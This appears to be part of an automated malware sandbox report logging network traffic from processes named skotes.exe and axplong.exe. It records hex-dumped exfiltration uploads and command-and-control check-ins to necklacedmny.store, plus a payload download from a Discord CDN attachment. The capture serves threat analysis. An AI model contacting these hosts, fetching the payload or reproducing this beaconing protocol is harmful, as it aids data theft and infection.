2024-10-29 19:36:36 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 45 39 32 42 38 45 30 38 46 43 30 32 32 38 36 33 38 32 31 45 38 33 31 34 39 43 43 46 37 34 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"2E92B8E08FC022863821E83149CCF748--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 19:36:36 UTC	5075	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d Data Ascii: (X6K~`iO\_,mi`m?ls}Qm
2024-10-29 19:36:37 UTC	1027	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:36:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t6a6nim15egl1sjpttcufr0uul; expires=Sat, 22 Feb 2025 13:23:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yu9ziZOeSm4O0%2BrqoL%2By1ZTUlsf0MB8CLw%2FgkNz7I%2BnqtcRTdHmNa5o6%2BOHlMHtha%2BMfevvTcjTTKR57XLslef7FleMZShm1pXXZw9af%2BUFT%2BZJgQPqYG1vBFQoQToTbhTx2U1Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da59d8e6820e873-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1619&sent=11&recv=24&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21370&delivery_rate=1760486&cwnd=251&unsent_bytes=0&cid=8050cd76f372bd19&ts=787&x=0"
2024-10-29 19:36:37 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 19:36:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49994	188.114.96.3	443	4308	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:36:39 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1224 Host: necklacedmny.store
2024-10-29 19:36:39 UTC	1224	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 45 39 32 42 38 45 30 38 46 43 30 32 32 38 36 33 38 32 31 45 38 33 31 34 39 43 43 46 37 34 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"2E92B8E08FC022863821E83149CCF748--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 19:36:46 UTC	1017	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:36:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=04qvuu86s9u65kv4fvrc48oikf; expires=Sat, 22 Feb 2025 13:23:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7JnoiDtix4VZQfVFik%2FhFB8BasxXnZiFO8LAXo%2BJCqwJai%2FNHXRLKjziaKFA10gynuicVBwDLn5QF%2BExPzyohLZtS6NObVqvBVm5OWFtjFzQTRm48knhb1xYJGRgsLq4hLB8pVs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da59da0fec84659-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1649&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2143&delivery_rate=1677867&cwnd=251&unsent_bytes=0&cid=66f6c901ea6d32e3&ts=6658&x=0"
2024-10-29 19:36:46 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 19:36:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49998	188.114.96.3	443	4308	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:36:47 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 577779 Host: necklacedmny.store
2024-10-29 19:36:47 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 45 39 32 42 38 45 30 38 46 43 30 32 32 38 36 33 38 32 31 45 38 33 31 34 39 43 43 46 37 34 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"2E92B8E08FC022863821E83149CCF748--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 19:36:47 UTC	15331	OUT	Data Raw: 93 81 42 08 89 97 e7 35 0f d1 26 8a be 42 77 ba 83 6a 50 2e 3d f8 b4 18 7f 1c 9f c2 d9 e6 b5 c4 9e 47 09 7b 78 bf 20 21 4e ab 94 d5 a4 fc 06 e9 de b9 c3 78 26 3d 66 e4 9c c3 cb 1c 17 43 c1 31 fb dd bb 91 1e 79 13 59 d7 eb 51 f0 dd bb 51 e5 3b aa 69 f1 03 aa 92 41 94 9c 4f 51 05 2b 65 67 89 4b 53 c1 e8 e8 33 3c 85 45 08 9e 45 39 84 37 ca 13 0e 82 5d de 78 4a c7 22 94 2a b3 9f db 88 b2 ce 30 de fa 91 b7 85 87 c5 62 3c aa 91 69 8d 69 47 16 f7 f7 f3 b0 05 3d bb 41 ea 87 f1 24 1c 31 1e af 20 00 9d 50 ed 75 6c 09 aa 68 f1 a8 36 18 0d f0 a4 9e 02 c5 68 71 91 ce e3 a0 f8 2c 31 76 07 31 f2 c0 7d 34 aa 48 61 46 fd 67 11 2a 7a 47 2c 48 be a3 50 60 28 d4 c4 0c 23 84 39 89 4f 21 a3 fc 71 19 35 6c ac 6a 1b 86 f1 0b 2b d2 fa b7 92 b2 5c 1a 52 8e 18 51 ac 4d d5 8f 24 38 Data Ascii: B5&BwjP.=G{x !Nx&=fC1yYQQ;iAOQ+egKS3<EE97]xJ"0b<iiG=A$1 Pulh6hq,1v1}4HaFgzG,HP`(#9O!q5lj+\RQM$8
2024-10-29 19:36:47 UTC	15331	OUT	Data Raw: 03 36 9e ba 24 36 c6 a0 80 65 1f ef 99 c2 71 5b 86 e6 15 e6 0b ac 49 02 20 f9 d5 6f ac b3 f0 5d 97 7c 17 c1 eb 31 3b bf c4 24 73 95 48 e5 fe 68 e5 2b 30 44 2b be 9b d4 c5 dd a0 1c 77 bc 18 a1 87 c7 5b 06 c6 d0 1e ff 17 d9 c1 f8 aa 55 9f 31 f3 90 ce 7b bb 95 3c c1 76 46 5c f9 a2 be 3d c3 9d 2b 1d 51 6f ce 43 3d aa 8c 04 ee 1d 5b 42 e0 fe 4f 41 37 d7 77 87 35 9f 40 9a 3b 78 cc 21 f4 dc 96 19 f6 01 a9 14 69 ae 6b c0 01 bd 96 c8 1f 16 25 cd 3d 9b f2 a3 d5 4b 97 ec cc 8a cd a0 78 5b 93 9c ce a6 d7 d6 7d 52 b8 3f 6e af 34 2b d9 31 81 6a 1a 61 76 7b 37 ec e7 53 66 a3 70 a1 00 15 37 1f 91 ad 98 ca ec aa 6d e5 f9 12 ac e0 b2 5a 54 a4 af c8 c1 fb c6 78 45 9b 50 82 c5 8c 96 90 fe 85 d7 68 d8 73 7d 5d 62 c4 ff 74 84 7f 3f 3a 6b cd 70 b5 35 05 76 da e9 fb 41 d6 71 b7 Data Ascii: 6$6eq[I o]\|1;$sHh+0D+w[U1{<vF\=+QoC=[BOA7w5@;x!ik%=Kx[}R?n4+1jav{7Sfp7mZTxEPhs}]bt?:kp5vAq
2024-10-29 19:36:47 UTC	15331	OUT	Data Raw: ed 4b a8 28 10 fa 35 6c 85 cb 59 41 c5 70 81 b2 59 9b b6 73 f0 fc c2 c3 e8 84 42 81 85 7d 26 71 8e 84 78 2d 19 40 16 d2 8c f8 08 c0 fb fc 3c 10 75 95 18 59 33 42 79 cf 69 3f b1 6f 51 1d bf 3d 94 dd 99 73 96 8e d2 82 c5 2c b9 2c 06 de 7f 8d fa 73 96 c8 13 8f 68 14 44 6b 85 5f 82 5c 5d 0d c0 6f d3 77 42 e0 05 46 06 bf 79 60 d3 ff 19 0c 4b 38 95 9a 00 c0 d0 f9 31 8a 14 91 46 54 07 64 2a db f8 d7 33 91 fb fb d9 b4 ef f8 13 21 14 95 0b c7 09 cc 01 28 17 bf c0 a0 01 8e 17 14 c4 1f 1e c4 7c 79 05 90 bb 1c e3 f1 3a e7 45 c1 7b 1f 92 b6 02 4a 67 38 7a d1 e6 06 3b 73 e3 03 8b a8 6b b0 55 7b 2f 4d dd a5 b8 d6 8a 40 d8 8f ac 23 39 54 8c 90 95 d3 b2 e3 a2 dc d8 54 8c 4b 95 0b 9c 5c 8b 88 dc e6 07 ee 3b 0d 42 3c 2d c9 75 a2 60 f5 20 71 f5 92 dd 6d c4 d6 57 c1 9d f6 8a Data Ascii: K(5lYApYsB}&qx-@<uY3Byi?oQ=s,,shDk_\]owBFy`K81FTd*3!(\|y:E{Jg8z;skU{/M@#9TTK\;B<-u` qmW
2024-10-29 19:36:47 UTC	15331	OUT	Data Raw: 10 39 6f af 3b 9c c2 1a 08 a2 ec db 87 8a 41 12 77 e4 75 34 07 5d 14 e0 f5 36 8f 87 59 36 a7 ac cb 91 e0 78 de 91 57 30 6b 76 84 00 42 e3 74 80 4f 13 b2 b1 c1 08 8b 7e f7 b3 76 86 5d bc 0a 05 9e a5 ae 01 b2 d9 ab 91 fd 10 99 fa dc 1c 90 f3 6f 6c 08 cb dc bc 57 30 34 d6 b0 fe 3a 2a e5 d1 2e ee 2c 7d 5b ad b0 94 1a e4 24 51 56 5a bd e4 ec ba 75 6f c5 47 00 6e 7c 83 ef de 34 62 f7 1a 1c f9 56 12 66 84 f4 00 68 dc 1f 6e 3d 91 cb 72 77 00 85 0a 06 7d 82 40 51 0f ed c0 2b e0 61 a4 3c 20 0c e6 f8 c5 45 90 60 63 46 c8 0b 71 44 02 ad cd 8b 60 72 4b c7 1b f0 7b 70 f0 29 57 c1 da 1a 18 08 a1 90 eb 0a 90 f2 05 39 eb d3 3f 11 b0 4b bf 0a b3 71 17 41 9f 3a 72 ce 83 ad d2 25 94 7b 4e 4c e8 52 27 4f 8d 39 f9 e1 aa dd b3 48 f2 d6 3e 15 d1 ef 5c 09 f9 40 0f 9e b2 4b 68 37 Data Ascii: 9o;Awu4]6Y6xW0kvBtO~v]olW04:*.,}[$QVZuoGn\|4bVfhn=rw}@Q+a< E`cFqD`rK{p)W9?KqA:r%{NLR'O9H>\@Kh7
2024-10-29 19:36:47 UTC	15331	OUT	Data Raw: 04 ed a7 27 00 40 ea eb 7f 84 86 b3 be 3a c3 92 bb c0 42 12 2f 78 7f 41 00 44 c4 39 9e 21 66 63 61 df e2 77 11 10 dd 59 6e dd e9 13 b7 fe 8d 8f bd b5 dd 17 d1 bd 15 41 69 9d 8d 5f 51 18 49 bf c0 2b ce dc e7 76 51 77 61 13 5d 0c 96 67 73 ba ac e8 9d 3b e3 38 44 c7 30 72 8c d6 5f d3 d6 84 1d 7f d6 05 5c 6e 1f a2 b3 d6 e5 af b2 6c 68 5a 2a a0 d8 8d 8c 94 c4 2d 88 4e 75 67 68 8d f1 b4 e9 81 87 7b f1 dc 4d 00 2b 60 84 a4 81 e3 89 c8 03 45 84 9d 08 7f ca d3 ff 6c 76 3d 63 11 e1 90 0e 3c eb 9f 0f 45 8f 88 d0 1b 14 94 28 35 18 54 c8 4f 19 c3 5b 08 8c e2 aa 83 19 2c e6 8a 9a ff 99 9e ac 60 e0 28 49 69 81 bc 90 21 95 d3 80 64 24 be 42 67 9b b3 82 21 53 25 8a e4 b5 cd 7d 62 ad 7a ec e3 9f 12 e7 4c ca 3c 7a c6 2e 61 df 0a c4 89 50 2a 38 b7 fe 26 e3 e7 cf 9f b2 c8 6e Data Ascii: '@:B/xAD9!fcawYnAi_QI+vQwa]gs;8D0r_\nlhZ-Nugh{M+`Elv=c<E(5TO[,`(Ii!d$Bg!S%}bzL<z.aP8&n
2024-10-29 19:36:47 UTC	15331	OUT	Data Raw: 83 14 53 f3 b1 f6 2b fa 10 e5 68 ec 2d b0 63 6a 9f 40 a3 38 5d d8 1b 44 c3 30 06 ae 39 0a 4f f7 f8 4e db fa 9e 7c 2e 80 7f 69 40 20 13 08 fe d7 2e 3b cd 6d 3c 7f 37 a8 d0 c6 90 6f 89 1a d5 bf 77 6b 27 77 c0 79 cb fc b9 2e 28 90 c1 29 a0 e9 9c 43 3d 80 51 0c 6f ef df 3e 48 40 da 63 2e 2f 10 c7 08 a1 11 f4 8a 6a 06 c5 76 3b 14 6d 7e 40 a8 13 bc 96 45 22 94 0c 28 5f 84 51 ce 5f 1c 8a 4c 25 70 ca 11 f5 94 98 7a c7 f8 73 15 38 cc f1 f6 04 d6 98 bf 8d 91 10 b8 af b5 ae 43 80 3c 2d b0 73 86 bf 12 07 ad 06 cd 65 95 73 fa 7b 8b 82 17 11 6a 9d 5b bf 49 cd 41 2f c4 9d a8 fc 2e 14 cc f9 b6 e8 99 64 32 21 86 19 88 1d d5 94 d8 b1 9b b0 93 dd b9 41 dd 78 38 cf 23 bc 8a 5f df 6b d8 4e ba fa 2f 09 6d 41 fc af c3 df 7d 29 8a 6e ac cf ed da b2 d8 9b df 2e 26 0f c3 fe 18 58 Data Ascii: S+h-cj@8]D09ON\|.i@ .;m<7owk'wy.()C=Qo>H@c./jv;m~@E"(_Q_L%pzs8C<-ses{j[IA/.d2!Ax8#_kN/mA})n.&X
2024-10-29 19:36:47 UTC	15331	OUT	Data Raw: 10 0c e7 2a fe 69 d7 60 ff 32 a3 45 96 b2 f4 2a dc da 03 e6 22 d2 83 ec 32 87 82 9e 3b fd fc 61 d6 3e 93 1a c8 a7 97 3d 09 ed a5 fa 2e 7a fe c9 6e a3 09 b0 b2 49 fa 55 eb e1 aa c5 f5 7a 6b 5b 3d 46 7c e1 0e 32 dd 83 9e 5d 6b 7a 83 6a ac d1 f9 c7 59 f7 59 c6 43 fe f3 9c 12 23 fe de eb 5f b0 9c 81 f9 79 51 f0 bc fb 5f b0 f0 a5 a7 62 5e 91 ba 7f bd 84 41 2d f2 de e3 36 7a 86 3c b0 b0 bc 99 b2 14 c5 b5 ac 2b e2 38 0e ce cf d3 06 4b 52 39 9c 66 d2 9e 61 97 f5 d8 6b a3 2f 3e b6 cf ab 24 1c 81 18 cd 36 7b a9 6d 92 5c e6 52 c4 ec f2 a6 e7 26 9a 5b b9 6e 28 dc 28 b4 af d0 6e 88 d7 9f 40 10 26 f8 ab 83 85 9d cc e5 f5 44 76 ba 71 a4 43 2a fb d1 f7 f6 af bf 7b 26 eb ea 58 51 51 86 ec 5a 4e 8f d1 e3 ba a2 cd f6 54 da bc 92 c9 f2 bf f3 c9 dc db c3 3d 2f 68 99 0b 25 ec Data Ascii: i`2E"2;a>=.znIUzk[=F\|2]kzjYYC#_yQ_b^A-6z<+8KR9fak/>$6{m\R&[n((n@&DvqC*{&XQQZNT=/h%
2024-10-29 19:36:47 UTC	15331	OUT	Data Raw: ef 37 db ca 93 8f 2f 57 00 ae 3e c1 fb 4c c2 f0 c6 51 7e eb 4f c1 f4 4e 09 e3 ea ef 62 cd 2b ed 11 84 12 be 4b 1c 3d 5d 1e 61 22 0c cd 7c d6 94 01 87 87 bf 27 e5 fa 7c d6 3d c7 15 9d 0e 5b c3 1c 41 5d dd e7 d3 37 95 3d 15 b8 ef 1e 7d 67 9d 2b fd 68 6f 7f bd 79 44 7e cc 04 31 25 e6 5e ee a0 c9 36 01 83 89 91 23 83 20 e5 34 53 af e7 ef 18 8e 3d 1f 5a de c5 84 46 4a b1 fe d3 ec 8a 52 e0 58 79 c8 1d 40 d3 63 fd 9d 95 b2 fe 36 da 56 b0 bb b3 2a 7d af bc 89 50 8e 46 cf 1d bd 07 97 97 a6 11 5c c1 8f f6 78 13 9a 97 ac 58 3c 79 89 80 11 0c 64 f1 11 50 26 98 b8 42 94 ab 9a 9f cf c7 a5 0f 58 fc ff eb e2 6c 4b 06 9b 30 0a 04 5c 7a 74 44 aa 0a d3 7b b5 28 12 51 67 cc ed ac 98 5f 04 7c 34 c9 41 07 84 69 5b 03 38 76 6d 17 5f 8e 0a c0 0c d9 40 c8 01 8f a0 3d 6b ad 7a 6a Data Ascii: 7/W>LQ~ONb+K=]a"\|'\|=[A]7=}g+hoyD~1%^6# 4S=ZFJRXy@c6V*}PF\xX<ydP&BXlK0\ztD{(Qg_\|4Ai[8vm_@=kzj
2024-10-29 19:36:47 UTC	15331	OUT	Data Raw: ca ea 60 9d f2 74 19 ee cd bc 37 21 3d 61 c4 7e b0 50 04 9e 1e 61 b5 84 8b cc 7f 9c f8 b7 f1 cd 7c ad 57 9a 11 a7 f7 67 24 69 d6 ca d4 68 90 b9 3e 28 3a ab d5 f5 01 8e fd b1 d2 33 18 1d 18 57 62 a2 df 5a e0 d1 67 34 d8 89 ef c5 cd 8e 36 78 94 cc ec 8a f3 58 fe 54 4f 0a ce f5 d6 94 ec 2b 12 66 8e cf ef 00 e4 53 51 41 b8 6f e6 d3 2b 55 ba 6d de 5e 93 be 1f fa 8e f7 ad ef d4 4c 69 33 f5 cd 94 ce f5 21 ad 07 91 be 29 10 eb 15 d8 03 85 41 d2 f1 c5 ad 1e d7 57 02 6a 1b 8b 27 10 55 54 b5 14 17 66 bf fd 6a de 71 c5 43 8e 27 6a ff ad d2 a5 aa 4a 78 08 1c 90 38 d1 73 b3 38 21 ac c8 24 5c 3c ed 6b 40 20 a8 af 34 b9 77 9b b9 bf 8e ef f4 29 b4 fa b9 b4 e2 cd 0f 6e 9f b7 d0 8e f7 52 79 19 99 98 4e c8 27 36 f6 67 89 ba 99 9b bb 88 4b 75 9e 73 3b b9 ed 34 f4 ac 8a 8a 8d Data Ascii: `t7!=a~Pa\|Wg$ih>(:3WbZg46xXTO+fSQAo+Um^Li3!)AWj'UTfjqC'jJx8s8!$\<k@ 4w)nRyN'6gKus;4
2024-10-29 19:36:53 UTC	1017	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:36:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mjllfi830mpmnqrnvkjg37e9bu; expires=Sat, 22 Feb 2025 13:23:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=72xLVXpZeQE0f5tdNep3q%2BvtZjviz7sxCKlfRBmE2EpfrCL5RzQGugNJ5OjmKd1JXaTv9i0xOAAG6fkmmDVpniLPvcwjD5NXKDM5HeuS6TzO1KVRS1X9HgQSaOlrpP0nsb5KEpY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da59dd3bcfe4794-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1847&sent=229&recv=599&lost=0&retrans=0&sent_bytes=2844&recv_bytes=580350&delivery_rate=1373814&cwnd=234&unsent_bytes=0&cid=c325cdf31d6f48aa&ts=6069&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49999	188.114.96.3	443	4308	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:36:54 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-29 19:36:54 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 32 45 39 32 42 38 45 30 38 46 43 30 32 32 38 36 33 38 32 31 45 38 33 31 34 39 43 43 46 37 34 38 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=2E92B8E08FC022863821E83149CCF748
2024-10-29 19:36:55 UTC	1021	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:36:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=50t8huliakuvuie2g7pre1i8hg; expires=Sat, 22 Feb 2025 13:23:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bSRfaCByJnuuGK8kc30d3rzMa8%2FUo973KmSlS6h%2BdXW%2BVOV%2F8VCSDBV2%2FWAtoxY1Kv96ZbrnrFQD9moyVay3jc3STgY1WD8WhWWEE07Q5raGzAl%2BDYPNf320pTElwl9%2F3gICINk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da59dff0fd96be6-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1098&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=989&delivery_rate=2606660&cwnd=251&unsent_bytes=0&cid=49ccd23df3147d67&ts=566&x=0"
2024-10-29 19:36:55 UTC	214	IN	Data Raw: 64 30 0d 0a 54 6a 51 63 55 6e 7a 48 6d 7a 4e 75 57 35 63 53 6f 71 52 6c 75 59 45 61 76 78 79 31 64 58 37 4a 45 72 70 66 57 5a 41 66 32 76 59 56 54 7a 34 6e 58 76 32 35 57 78 6f 76 35 79 6a 2b 69 7a 6d 57 73 43 4b 4b 4d 6f 64 45 53 2b 63 6a 69 32 78 33 6f 53 6d 47 32 53 46 53 65 67 35 54 6f 2f 35 56 51 44 37 76 64 34 43 49 52 39 2f 31 4f 49 55 73 6d 56 63 62 36 79 69 4b 49 6e 58 72 50 61 2f 55 64 42 5a 30 4a 67 69 33 6f 57 39 42 42 37 67 6a 6d 70 46 4c 69 37 41 76 6b 53 32 45 52 6c 44 34 4a 4f 5a 77 4e 50 6c 78 76 36 70 68 52 6e 30 38 47 4b 6a 32 48 51 73 6a 38 6a 43 4f 68 67 50 4e 6f 79 43 50 4d 4a 63 51 58 50 4d 69 78 77 49 3d 0d 0a Data Ascii: d0TjQcUnzHmzNuW5cSoqRluYEavxy1dX7JErpfWZAf2vYVTz4nXv25Wxov5yj+izmWsCKKModES+cji2x3oSmG2SFSeg5To/5VQD7vd4CIR9/1OIUsmVcb6yiKInXrPa/UdBZ0Jgi3oW9BB7gjmpFLi7AvkS2ERlD4JOZwNPlxv6phRn08GKj2HQsj8jCOhgPNoyCPMJcQXPMixwI=
2024-10-29 19:36:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	50004	162.159.129.233	443	3960	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:06 UTC	199	OUT	GET /attachments/1286706039475015741/1300800513197211749/Set-up.exe?ex=67222862&is=6720d6e2&hm=d01a7bee1160eeac6493be73ac5a9fb5606137c43133be4b96f4d7c4370940c5& HTTP/1.1 Host: cdn.discordapp.com
